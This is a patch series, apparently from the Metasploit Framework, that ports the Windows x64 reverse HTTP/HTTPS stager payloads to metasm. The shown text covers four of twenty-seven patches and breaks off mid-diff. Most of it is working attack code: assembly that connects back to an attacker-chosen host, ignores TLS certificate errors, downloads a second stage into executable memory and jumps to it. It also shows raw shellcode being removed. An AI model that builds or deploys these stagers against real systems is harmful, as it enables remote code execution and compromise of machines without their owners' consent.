From 15e9fb7e40b7324fb9b153404708bd1c93bcf86d Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 8 May 2015 13:50:12 +1000 Subject: [PATCH 01/27] Port reverse_https (wininet) x64 to metasm This laid the groundwork for implementation of reverse_http as well. --- .../core/payload/windows/reverse_winhttp.rb | 25 +- lib/msf/core/payload/windows/x64/bind_tcp.rb | 1 - .../core/payload/windows/x64/reverse_http.rb | 398 ++++++++++++++++++ .../core/payload/windows/x64/reverse_https.rb | 33 ++ .../stagers/windows/x64/reverse_https.rb | 98 +---- 5 files changed, 456 insertions(+), 99 deletions(-) create mode 100644 lib/msf/core/payload/windows/x64/reverse_http.rb create mode 100644 lib/msf/core/payload/windows/x64/reverse_https.rb diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index a3861b11a1..a85bf67817 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -27,21 +27,21 @@ module Payload::Windows::ReverseWinHttp def generate # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space - return generate_reverse_winhttp( - ssl: false, - host: datastore['LHOST'], - port: datastore['LPORT'], - url: generate_small_uri, - retry_count: datastore['StagerRetryCount']) + return generate_reverse_winhttp({ + :ssl => false, + :host => datastore['LHOST'], + :port => datastore['LPORT'], + :url => generate_small_uri, + :retry_count => datastore['StagerRetryCount']}) end conf = { - ssl: false, - host: datastore['LHOST'], - port: datastore['LPORT'], - url: generate_uri, - exitfunk: datastore['EXITFUNC'], - retry_count: datastore['StagerRetryCount'] + :ssl => false, + :host => datastore['LHOST'], + :port => datastore['LPORT'], + :url => generate_uri, + :exitfunk => datastore['EXITFUNC'], + :retry_count => datastore['StagerRetryCount'] } generate_reverse_winhttp(conf) @@ -50,6 +50,7 @@ module Payload::Windows::ReverseWinHttp def transport_config(opts={}) transport_config_reverse_http(opts) end + # # Generate and compile the stager # diff --git a/lib/msf/core/payload/windows/x64/bind_tcp.rb b/lib/msf/core/payload/windows/x64/bind_tcp.rb index b7ebad198d..d274d50f2c 100644 --- a/lib/msf/core/payload/windows/x64/bind_tcp.rb +++ b/lib/msf/core/payload/windows/x64/bind_tcp.rb @@ -66,7 +66,6 @@ module Payload::Windows::BindTcp_x64 # def required_space # Start with our cached default generated size - # TODO: need help with this from the likes of HD. space = cached_size # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb new file mode 100644 index 0000000000..878276b4ee --- /dev/null +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -0,0 +1,398 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/transport_config' +require 'msf/core/payload/windows/x64/block_api' +require 'msf/core/payload/windows/x64/exitfunk' +require 'msf/core/payload/uuid_options' + +module Msf + +### +# +# Complex payload generation for Windows ARCH_X86 that speak HTTP(S) +# +### + +module Payload::Windows::ReverseHttp_x64 + + include Msf::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi_x64 + include Msf::Payload::Windows::Exitfunk_x64 + include Msf::Payload::UUIDOptions + + # + # Register reverse_http specific options + # + def initialize(*args) + super + register_advanced_options([ + OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]), + OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), + OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), + OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']), + OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']), + OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]) + ], self.class) + end + + def transport_config(opts={}) + transport_config_reverse_http(opts) + end + + # + # Generate the first stage + # + def generate(opts={}) + STDERR.puts("#{opts.inspect}\n") + ssl = opts[:ssl] || false + + # Generate the simple version of this stager if we don't have enough space + if self.available_space.nil? || required_space > self.available_space + return generate_reverse_https({ + :ssl => ssl, + :host => datastore['LHOST'], + :port => datastore['LPORT'], + :url => generate_small_uri, + :retry_count => datastore['StagerRetryCount']}) + end + + conf = { + :ssl => ssl, + :host => datastore['LHOST'], + :port => datastore['LPORT'], + :url => generate_uri, + :exitfunk => datastore['EXITFUNC'], + :proxy_host => datastore['PayloadProxyHost'], + :proxy_port => datastore['PayloadProxyPort'], + :proxy_user => datastore['PayloadProxyUser'], + :proxy_pass => datastore['PayloadProxyPass'], + :proxy_type => datastore['PayloadProxyType'], + :retry_count => datastore['StagerRetryCount'] + } + + generate_reverse_http(conf) + end + + # + # Generate and compile the stager + # + def generate_reverse_http(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop rbp + #{asm_reverse_http(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string + end + + # + # Generate the URI for the initial stager + # + def generate_uri + + uri_req_len = datastore['StagerURILength'].to_i + + # Choose a random URI length between 30 and 255 bytes + if uri_req_len == 0 + uri_req_len = 30 + rand(256-30) + end + + if uri_req_len < 5 + raise ArgumentError, "Minimum StagerURILength is 5" + end + + generate_uri_uuid_mode(:init_native, uri_req_len) + end + + # + # Generate the URI for the initial stager + # + def generate_small_uri + generate_uri_uuid_mode(:init_native, 5) + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # Add 100 bytes for the encoder to have some room + space += 100 + + # Make room for the maximum possible URL length + space += 256 + + # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) + space += 31 + + # Proxy options? + space += 200 + + # The final estimated size + space + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Bool] :ssl Whether or not to enable SSL + # @option opts [String] :url The URI to request during staging + # @option opts [String] :host The host to connect to + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [String] :proxy_host The optional proxy server host to use + # @option opts [Fixnum] :proxy_port The optional proxy server port to use + # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS + # @option opts [String] :proxy_user The optional proxy server username + # @option opts [String] :proxy_pass The optional proxy server password + # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up + # + def asm_reverse_http(opts={}) + + retry_count = [opts[:retry_count].to_i, 1].max + proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0) + proxy_info = "" + + if proxy_enabled + if opts[:proxy_type].to_s.downcase == "socks" + proxy_info << "socks=" + else + proxy_info << "http://" + end + + proxy_info << opts[:proxy_host].to_s + if opts[:proxy_port].to_i > 0 + proxy_info << ":#{opts[:proxy_port]}" + end + end + + proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user] + proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass] + + http_open_flags = 0 + set_option_flags = 0 + + if opts[:ssl] + http_open_flags = ( + 0x80000000 | # INTERNET_FLAG_RELOAD + 0x04000000 | # INTERNET_NO_CACHE_WRITE + 0x00800000 | # INTERNET_FLAG_SECURE + 0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT + 0x00001000 | # INTERNET_FLAG_IGNORE_CERT_CN_INVALID + 0x00002000 | # INTERNET_FLAG_IGNORE_CERT_DATE_INVALID + 0x00000200 ) # INTERNET_FLAG_NO_UI + + set_option_flags = ( + 0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + 0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID + 0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE + 0x00000100 | # SECURITY_FLAG_IGNORE_UNKNOWN_CA + 0x00000080 ) # SECURITY_FLAG_IGNORE_REVOCATION + else + http_open_flags = ( + 0x80000000 | # INTERNET_FLAG_RELOAD + 0x04000000 | # INTERNET_NO_CACHE_WRITE + 0x00200000 | # INTERNET_FLAG_NO_AUTO_REDIRECT + 0x00000200 ) # INTERNET_FLAG_NO_UI + end + + asm = %Q^ + load_wininet: + push 0 + mov r14, 'wininet' + push r14 ; Push 'wininet',0 onto the stack + mov r14, rsp ; Save pointer to string + mov rcx, r14 ; the name of the lib to load + mov r10, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call rbp + + internetopen: + push 0 ; alignment + push 0 ; NULL pointer + mov rcx, rsp ; Empty string pointer (lpszAgent) + xor rdx, rdx ; PRECONFIG = 0 (dwAccessType) + xor r8, r8 ; NULL pointer (lpszProxyName) + xor r9, r9 ; NULL pointer (lpszProxyBypass) + push 0 ; 0 (dwFlags) + push 0 ; alignment + mov r10, 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call rbp + + jmp dbl_get_server_host + + internetconnect: + pop rdx ; String (lpszServerName) + mov rcx, rax ; HINTERNET (hInternet) + mov r8, #{opts[:port]} ; + xor r9, r9 ; String (lpszUsername) + push 0 ; NULL (dwContext) + push 0 ; 0 (dwFlags) + push 3 ; INTERNET_SERVICE_HTTP (dwService) + push 0 ; alignment + mov r10, 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) + call rbp + + jmp get_server_uri + + httpopenrequest: + ;int 0x03 + mov rcx, rax ; HINTERNET (hConnect) + xor rdx, rdx ; NULL pointer (lpszVerb) + pop r8 ; String (lpszObjectName) + xor r9, r9 ; String (lpszVersion) + push 0 ; 0 (dwContext) + ; TODO: figure out what's going on here (get help from HD?) + ; Having to use mov + push instead of push qword because + ; Metasm doesn't seem to like it. Plain 'push' doesn't work + ; because of an overflow error. + ;push qword 0x#{http_open_flags.to_s(16)} ; (dwFlags) + mov r10, 0x#{http_open_flags.to_s(16)} ; (dwFlags) + push r10 + push 0 ; NULL pointer (lplpszAcceptTypes) + push 0 ; NULL pointer (lpszReferer) + mov r10, 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) + call rbp + mov rsi, rax ; Store the request handle in RSI + + retry_setup: + push #{retry_count} + pop rdi + + retry: + ^ + if opts[:ssl] + asm << %Q^ + internetsetoption: + mov rcx, rsi ; (hInternet) + mov rdx, 31 ; INTERNET_OPTION_SECURITY_FLAGS + push 0 ; alignment + push #{set_option_flags} ; (dwFlags) + mov r8, rsp + push 4 ; sizeof(dwFlags) + pop r9 + mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call rbp + ^ + end + + asm << %Q^ + httpsendrequest: + mov rcx, rsi ; HINTERNET (hRequest) + xor rdx, rdx ; NULL pointer (lpszHeaders) + xor r8, r8 ; 0 (dwHeadersLength) + xor r9, r9 ; NULL pointer (lpOptional) + push 0 ; alignment + push 0 ; 0 (dwOptionalLength) + mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) + call rbp + test rax,rax + jnz allocate_memory + + try_it_again: + dec rdi + jz failure + jmp retry + + dbl_get_server_host: + jmp get_server_host + + get_server_uri: + call httpopenrequest + + server_uri: + db "#{opts[:url]}",0x00 + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call rbp + ^ + end + + asm << %Q^ + allocate_memory: + xor rcx, rcx ; NULL pointer (lpAddress) + mov rdx, 0x00400000 ; SIZE_T (dwSize) + mov r8, 0x1000 ; MEM_COMMIT (flAllocationType) + mov r9, 0x40 ; PAGE_EXECUTE_READWRITE (flProtect) + mov r10, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + + download_prep: + xchg rax, rbx ; place the allocated base address in ebx + push rbx ; store a copy of the stage base address on the stack + push rbx ; temporary storage for bytes read count + mov rdi, rsp ; &bytesRead + + download_more: + mov rcx, rsi ; HINTERNET (hFile) + mov rdx, rbx ; (lpBuffer) + mov r8, 8192 ; (dwNumberOfBytesToRead) + mov r9, rdi ; (lpNumberOfBytesRead) + mov r10, 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) + call rbp + add rsp, 32 ; clean up reserved space + + test eax, eax ; did the download fail? + jz failure + + mov ax, word ptr [edi] + add rbx, rax ; buffer += lpNumberOfBytesRead + + test rax, rax + jnz download_more ; loop until 0 is returned + pop rax ; clear temp storage + pop rax ; alignment + + execute_stage: + ret ; dive into the stored stage address + + get_server_host: + call internetconnect + + server_host: + db "#{opts[:host]}", 0x00 + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + STDERR.puts("#{asm}\n") + asm + end + + # + # Do not transmit the stage over the connection. We handle this via HTTPS + # + def stage_over_connection? + false + end + + # + # Always wait at least 20 seconds for this payload (due to staging delays) + # + def wfs_delay + 20 + end + +end + +end + + diff --git a/lib/msf/core/payload/windows/x64/reverse_https.rb b/lib/msf/core/payload/windows/x64/reverse_https.rb new file mode 100644 index 0000000000..b0be1b48c7 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/reverse_https.rb @@ -0,0 +1,33 @@ + +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/x64/reverse_http' + +module Msf + +### +# +# Complex payload generation for Windows ARCH_X86_64 that speak HTTPS +# +### + +module Payload::Windows::ReverseHttps_x64 + + include Msf::Payload::Windows::ReverseHttp_x64 + + def transport_config(opts={}) + transport_config_reverse_https(opts) + end + + # + # Generate the first stage + # + def generate + super({:ssl => true}) + end + +end + +end + diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index c6710fd46c..e9fa7b4bb6 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -3,92 +3,29 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/handler/reverse_https' +require 'msf/core/payload/windows/x64/reverse_https' -module Metasploit3 +module Metasploit4 CachedSize = 578 include Msf::Payload::Stager include Msf::Payload::Windows + include Msf::Payload::Windows::ReverseHttps_x64 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Windows x64 Reverse HTTPS Stager', - 'Description' => 'Tunnel communication over HTTP using SSL (Windows x64)', - 'Author' => [ - 'hdm', # original 32-bit implementation - 'agix', # x64 rewrite - 'rwincey' # x64 alignment fix - ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86_64, - 'Handler' => Msf::Handler::ReverseHttps, - 'Convention' => 'sockrdi https', - 'Stager' => - { - 'Offsets' => - { - # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) - # 'EXITFUNC' => [ 290, 'V' ], - 'LPORT' => [286, 'v'], # Not a typo, really little endian - }, - 'Payload' => - "\xFC\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51" + - "\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" + - "\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" + - "\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" + - "\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78" + - "\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67" + - "\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56" + - "\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0" + - "\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24" + - "\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41" + - "\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01" + - "\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83" + - "\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF" + - "\xFF\xFF\x5D" + - "\x6A\x00" + #alignment - "\x49\xBE\x77\x69\x6E\x69\x6E\x65\x74\x00\x41\x56\x49" + - "\x89\xE6\x4C\x89\xF1\x49\xBA\x4C\x77\x26\x07\x00\x00\x00\x00\xFF" + - "\xD5" + - "\x6A\x00" + #alignment - "\x6A\x00\x48\x89\xE1\x48\x31\xD2\x4D\x31\xC0\x4D\x31\xC9\x41" + - "\x50\x41\x50\x49\xBA\x3A\x56\x79\xA7\x00\x00\x00\x00\xFF\xD5" + - "\xE9\x9E\x00\x00\x00" + #updated jump offset - "\x5A\x48\x89\xC1\x49\xB8\x5C\x11\x00\x00\x00\x00" + - "\x00\x00\x4D\x31\xC9\x41\x51\x41\x51\x6A\x03\x41\x51\x49\xBA\x57" + - "\x89\x9F\xC6\x00\x00\x00\x00\xFF\xD5" + - "\xEB\x7C" + #updated jump offset - "\x48\x89\xC1\x48\x31" + - "\xD2\x41\x58\x4D\x31\xC9\x52\x68\x00\x32\xA0\x84\x52\x52\x49\xBA" + - "\xEB\x55\x2E\x3B\x00\x00\x00\x00\xFF\xD5\x48\x89\xC6\x6A\x0A\x5F" + - "\x48\x89\xF1\x48\xBA\x1F\x00\x00\x00\x00\x00\x00\x00" + - "\x6A\x00" + #alignment - "\x68\x80\x33" + - "\x00\x00\x49\x89\xE0\x49\xB9\x04\x00\x00\x00\x00\x00\x00\x00\x49" + - "\xBA\x75\x46\x9E\x86\x00\x00\x00\x00\xFF\xD5\x48\x89\xF1\x48\x31" + - "\xD2\x4D\x31\xC0\x4D\x31\xC9" + - "\x52\x52" + #updated alignment (extra push edx) - "\x49\xBA\x2D\x06\x18\x7B\x00\x00" + - "\x00\x00\xFF\xD5\x85\xC0\x75\x24\x48\xFF\xCF\x74\x13\xEB\xB1" + - "\xE9\x81\x00\x00\x00"+ - "\xE8\x7F\xFF\xFF\xFF" + #updated jump offset - "\x2F\x31\x32\x33\x34\x35\x00" + - "\x49\xBE\xF0\xB5\xA2\x56\x00\x00\x00\x00\xFF\xD5\x48\x31\xC9\x48" + - "\xBA\x00\x00\x40\x00\x00\x00\x00\x00\x49\xB8\x00\x10\x00\x00\x00" + - "\x00\x00\x00\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xBA\x58" + - "\xA4\x53\xE5\x00\x00\x00\x00\xFF\xD5\x48\x93\x53\x53\x48\x89\xE7" + - "\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" + - "\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" + - "\x83\xC4\x20\x85\xC0\x74\x99\x66\x8B\x07\x48\x01\xC3\x48\x85\xC0" + - "\x75\xCE\x58\x58\xC3" + - "\xE8\xD7\xFE\xFF\xFF" #updated jump offset - } - )) + 'Name' => 'Windows x64 Reverse HTTPS Stager', + 'Description' => 'Tunnel communication over HTTP using SSL (Windows x64)', + 'Author' => [ 'hdm', 'agix', 'rwincey' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseHttps, + 'Convention' => 'sockrdi https', + 'Stager' => { 'Payload' => '' })) end # @@ -98,17 +35,6 @@ module Metasploit3 false end - # - # Generate the first stage - # - def generate - p = super - i = p.index("/12345\x00") - u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttps::URI_CHECKSUM_INITW) + "\x00" - p[i, u.length] = u - p + datastore['LHOST'].to_s + "\x00" - end - # # Always wait at least 20 seconds for this payload (due to staging delays) # From b922da8f8084bbf2ee1cc3633394a7af6c97309b Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 8 May 2015 14:37:09 +1000 Subject: [PATCH 02/27] Add support for x64 reverse_http Still need to bake in support for proxies in the stagers, but wer'e getting there. --- .../core/payload/windows/x64/reverse_http.rb | 16 +++---- .../stagers/windows/x64/reverse_http.rb | 44 +++++++++++++++++++ .../stagers/windows/x64/reverse_https.rb | 2 +- spec/modules/payloads_spec.rb | 11 +++++ 4 files changed, 63 insertions(+), 10 deletions(-) create mode 100644 modules/payloads/stagers/windows/x64/reverse_http.rb diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 878276b4ee..fed532bda6 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -46,12 +46,11 @@ module Payload::Windows::ReverseHttp_x64 # Generate the first stage # def generate(opts={}) - STDERR.puts("#{opts.inspect}\n") ssl = opts[:ssl] || false # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space - return generate_reverse_https({ + return generate_reverse_http({ :ssl => ssl, :host => datastore['LHOST'], :port => datastore['LPORT'], @@ -244,7 +243,6 @@ module Payload::Windows::ReverseHttp_x64 jmp get_server_uri httpopenrequest: - ;int 0x03 mov rcx, rax ; HINTERNET (hConnect) xor rdx, rdx ; NULL pointer (lpszVerb) pop r8 ; String (lpszObjectName) @@ -314,14 +312,14 @@ module Payload::Windows::ReverseHttp_x64 if opts[:exitfunk] asm << %Q^ - failure: - call exitfunk + failure: + call exitfunk ^ else asm << %Q^ - failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call rbp + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call rbp ^ end @@ -373,7 +371,7 @@ module Payload::Windows::ReverseHttp_x64 if opts[:exitfunk] asm << asm_exitfunk(opts) end - STDERR.puts("#{asm}\n") + asm end diff --git a/modules/payloads/stagers/windows/x64/reverse_http.rb b/modules/payloads/stagers/windows/x64/reverse_http.rb new file mode 100644 index 0000000000..b513db90a1 --- /dev/null +++ b/modules/payloads/stagers/windows/x64/reverse_http.rb @@ -0,0 +1,44 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_https' +require 'msf/core/payload/windows/x64/reverse_http' + +module Metasploit4 + + CachedSize = 529 + + include Msf::Payload::Stager + include Msf::Payload::Windows + include Msf::Payload::Windows::ReverseHttp_x64 + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x64 Reverse HTTP Stager', + 'Description' => 'Tunnel communication over HTTP (Windows x64)', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseHttp, + 'Convention' => 'sockrdi http', + 'Stager' => { 'Payload' => '' })) + end + + # + # Do not transmit the stage over the connection. We handle this via HTTPS + # + def stage_over_connection? + false + end + + # + # Always wait at least 20 seconds for this payload (due to staging delays) + # + def wfs_delay + 20 + end +end diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index e9fa7b4bb6..3ef5a68832 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_https' module Metasploit4 - CachedSize = 578 + CachedSize = 568 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 114aab08a7..48466bd731 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -3557,6 +3557,17 @@ describe 'modules/payloads', :content do reference_name: 'windows/x64/meterpreter/bind_tcp' end + context 'windows/x64/meterpreter/reverse_http' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/x64/reverse_http', + 'stages/windows/x64/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/reverse_http' + end + context 'windows/x64/meterpreter/reverse_https' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From 9312c0ea4628579dc773ade059efc356303fc21f Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 8 May 2015 17:19:33 +1000 Subject: [PATCH 03/27] Add proxy host support to x64 reverse_http/s Proxy user/pass coming shortly. --- .../core/payload/windows/x64/reverse_http.rb | 89 ++++++++++--------- 1 file changed, 46 insertions(+), 43 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index fed532bda6..273e387152 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -46,32 +46,24 @@ module Payload::Windows::ReverseHttp_x64 # Generate the first stage # def generate(opts={}) - ssl = opts[:ssl] || false - - # Generate the simple version of this stager if we don't have enough space - if self.available_space.nil? || required_space > self.available_space - return generate_reverse_http({ - :ssl => ssl, - :host => datastore['LHOST'], - :port => datastore['LPORT'], - :url => generate_small_uri, - :retry_count => datastore['StagerRetryCount']}) - end - conf = { - :ssl => ssl, + :ssl => opts[:ssl] || false, :host => datastore['LHOST'], :port => datastore['LPORT'], - :url => generate_uri, - :exitfunk => datastore['EXITFUNC'], - :proxy_host => datastore['PayloadProxyHost'], - :proxy_port => datastore['PayloadProxyPort'], - :proxy_user => datastore['PayloadProxyUser'], - :proxy_pass => datastore['PayloadProxyPass'], - :proxy_type => datastore['PayloadProxyType'], + :url => generate_small_uri, :retry_count => datastore['StagerRetryCount'] } + # add extended options if we do have enough space + unless self.available_space.nil? || required_space > self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:proxy_host] = datastore['PayloadProxyHost'] + conf[:proxy_port] = datastore['PayloadProxyPort'] + conf[:proxy_user] = datastore['PayloadProxyUser'] + conf[:proxy_pass] = datastore['PayloadProxyPass'] + conf[:proxy_type] = datastore['PayloadProxyType'] + end + generate_reverse_http(conf) end @@ -215,18 +207,39 @@ module Payload::Windows::ReverseHttp_x64 call rbp internetopen: + ^ + + if proxy_enabled + asm << %Q^ + call get_proxy_server + db "#{proxy_info}", 0x00 + get_proxy_server: + pop r8 ; stack pointer (lpszProxyName) + push 3 ; INTERNET_OPEN_TYPE_PROXY = 3 (dwAccessType) + pop rdx + ^ + else + asm << %Q^ + xor r8, r8 ; NULL pointer (lpszProxyName) + xor rdx, rdx ; PRECONFIG = 0 (dwAccessType) + ^ + end + + asm << %Q^ push 0 ; alignment push 0 ; NULL pointer - mov rcx, rsp ; Empty string pointer (lpszAgent) - xor rdx, rdx ; PRECONFIG = 0 (dwAccessType) - xor r8, r8 ; NULL pointer (lpszProxyName) xor r9, r9 ; NULL pointer (lpszProxyBypass) + mov rcx, rsp ; Empty string pointer (lpszAgent) push 0 ; 0 (dwFlags) push 0 ; alignment mov r10, 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) call rbp + ^ - jmp dbl_get_server_host + asm << %Q^ + call internetconnect + get_server_host: + db "#{opts[:host]}", 0x00 internetconnect: pop rdx ; String (lpszServerName) @@ -240,12 +253,14 @@ module Payload::Windows::ReverseHttp_x64 mov r10, 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) call rbp - jmp get_server_uri + call httpopenrequest + get_server_uri: + db "#{opts[:url]}",0x00 httpopenrequest: + pop r8 ; String (lpszObjectName) mov rcx, rax ; HINTERNET (hConnect) xor rdx, rdx ; NULL pointer (lpszVerb) - pop r8 ; String (lpszObjectName) xor r9, r9 ; String (lpszVersion) push 0 ; 0 (dwContext) ; TODO: figure out what's going on here (get help from HD?) @@ -267,11 +282,13 @@ module Payload::Windows::ReverseHttp_x64 retry: ^ + if opts[:ssl] asm << %Q^ - internetsetoption: + internetsetoption_ssl: mov rcx, rsi ; (hInternet) - mov rdx, 31 ; INTERNET_OPTION_SECURITY_FLAGS + push 31 ; INTERNET_OPTION_SECURITY_FLAGS + pop rdx push 0 ; alignment push #{set_option_flags} ; (dwFlags) mov r8, rsp @@ -299,15 +316,6 @@ module Payload::Windows::ReverseHttp_x64 dec rdi jz failure jmp retry - - dbl_get_server_host: - jmp get_server_host - - get_server_uri: - call httpopenrequest - - server_uri: - db "#{opts[:url]}",0x00 ^ if opts[:exitfunk] @@ -360,18 +368,13 @@ module Payload::Windows::ReverseHttp_x64 execute_stage: ret ; dive into the stored stage address - - get_server_host: - call internetconnect - - server_host: - db "#{opts[:host]}", 0x00 ^ if opts[:exitfunk] asm << asm_exitfunk(opts) end + STDERR.puts(asm) asm end From 21397b46aa9b52e0b8dcc5532922ba1383269b61 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 8 May 2015 17:30:41 +1000 Subject: [PATCH 04/27] Add proxy user/pass to x64 reverse_http/s --- .../core/payload/windows/x64/reverse_http.rb | 62 ++++++++++++++++++- .../stagers/windows/x64/reverse_http.rb | 2 +- .../stagers/windows/x64/reverse_https.rb | 2 +- 3 files changed, 61 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 273e387152..471b617b03 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ 